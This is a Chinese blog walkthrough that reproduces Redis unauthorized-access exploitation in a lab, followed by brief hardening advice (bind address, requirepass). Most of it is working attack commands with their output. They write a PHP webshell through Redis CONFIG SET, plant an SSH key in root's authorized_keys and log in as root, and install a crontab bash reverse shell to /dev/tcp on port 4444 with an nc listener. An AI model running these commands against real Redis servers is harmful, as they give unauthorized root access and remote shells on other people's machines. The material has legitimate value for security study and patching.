2019-08-06redis未授权访问漏洞 复现利用

redis未授权访问漏洞

1. redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

2. 漏洞的危害(redis未授权访问)

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

redis是一种以key-value为键值对的非关系型数据库

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

3. 实验环境(win linux mac)

win环境下的安装和运行:

下载地址:https://github.com/MSOpenTech/redis/releases

命令行输入

redis-server.exe redis.conf

接着查看端口

6379端口(redis默认端口)已经打开

redis成功启动

Linux(ubuntu)环境安装和运行:

安装(方法一)

sudo apt-get update sudo apt-get install redis-server

或者(方法二)

wget http://download.redis.io/releases/redis-2.8.17.tar.gztar -zxvf redis-2.8.27.tar.gz cd redis-2.8.17 make

运行

redis-server

mac环境安装和运行:

brew install redis

运行

redis-server

基本命令:(win redis-cli.exe)

连接redis:

redis-cli -h +ip

查看键为x的值

redis 192.168.0.100:6379> get x

get所有key

redis 192.168.0.100:6379> keys *

删除所有键

redis 192.168.0.100:6379>flushall

连接测试:攻击机 192.168.0.100

被攻击机 :192.168.0.107

连接测试: redis-cli -h 192.168.0.107(成功)

4. 利用redis未授权访问漏洞(全过程跟踪)

1)发现端口服务

尝试连接对应的redis服务

输入info获取相关信息

利用方式一:写入webshell

192.168.0.107:6379> set x "<?php phpinfo(); ?>" OK 192.168.0.107:6379> config set dbfilename test.php OK 192.168.0.107:6379> config set dir /root/redis OK 192.168.0.107:6379> save OK

写入shell

shell写入成功

利用方式二:写入公钥(SSH免密码连接)

本地创建ssh的公钥和私钥

ssh-keygen -t rsa -C "XXXX@XX.com"

对于生成的文件

接着将ssh公钥写入靶机:192.168.0.107

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt

localhost:.ssh fuwei$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

localhost:.ssh fuwei$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

远程登录靶机的redis服务:redis-cli -h 192.168.0.104

并使用 CONFIG GET dir 命令得到redis备份的路径:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

192.168.0.107:6379> CONFIG SET dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys:

192.168.0.107:6379> CONFIG SET dbfilename authorized_keys

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

192.168.0.107:6379> CONFIG get dbfilename

在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.107

利用私钥成功登录redis服务器!!!

完整的命令:

localhost:.ssh fuwei$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

localhost:.ssh fuwei$ ls 1.txt id_rsa id_rsa.pub known_hosts localhost:.ssh fuwei$ cat 1.txt | redis-cli -h 192.168.0.107 -x set crack OK localhost:.ssh fuwei$ ls 1.txt id_rsa id_rsa.pub known_hosts

localhost:.ssh fuwei$ localhost:.ssh fuwei$ redis-cli -h 192.168.0.107

192.168.0.107:6379> CONFIG GET dir 1) "dir" 2) "/root/.ssh"

192.168.0.107:6379> CONFIG SET dir /root/.ssh OK

192.168.0.107:6379> CONFIG SET dbfilename authorized_keys OK

192.168.0.107:6379> CONFIG get dbfilename 1) "dbfilename" 2) "authorized_keys" 192.168.0.107:6379> save OK 192.168.0.107:6379> exit localhost:.ssh fuwei$ ssh -i id_rsa root@192.168.0.107 Enter passphrase for key 'id_rsa': Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64  The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.  Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug  6 10:25:43 2019 from 192.168.0.100 root@kali:~#

利用方式三:利用crontab反弹shell

端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口):

nc -lvnp 4444

攻击详情:

连接redis,写入反弹shell

redis-cli -h 192.168.0.104 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save

过一分钟左右就可以收到shell

5. 修复方案

1、比较安全的办法是采用绑定IP的方式来进行控制。

请在redis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not # specified all the interfaces will listen for incoming connections. # # bind 127.0.0.1

把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

2、设置密码,以提供远程登陆

打开redis.conf配置文件,找到requirepass,然后修改如下:

requirepass yourpassword yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下: redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器 keys * //输出服务器中的所有key 报错如下 (error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下: auth youpassword

6. 总结

注意:

1、开始构造环境的时候的redis会出现一下报错,注意回环地址。

2、密钥的生成还有最后些如的时候的方法和方式。

3、后续的可以渗透可以配合mysql的相关操作。

https://zhuanlan.zhihu.com/p/76888323(专栏)

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,117评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,328评论 1 293
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,839评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,007评论 0 206
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,384评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,629评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,880评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,593评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,313评论 1 243
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,575评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,066评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,392评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,052评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,082评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,844评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,662评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,575评论 2 270

推荐阅读更多精彩内容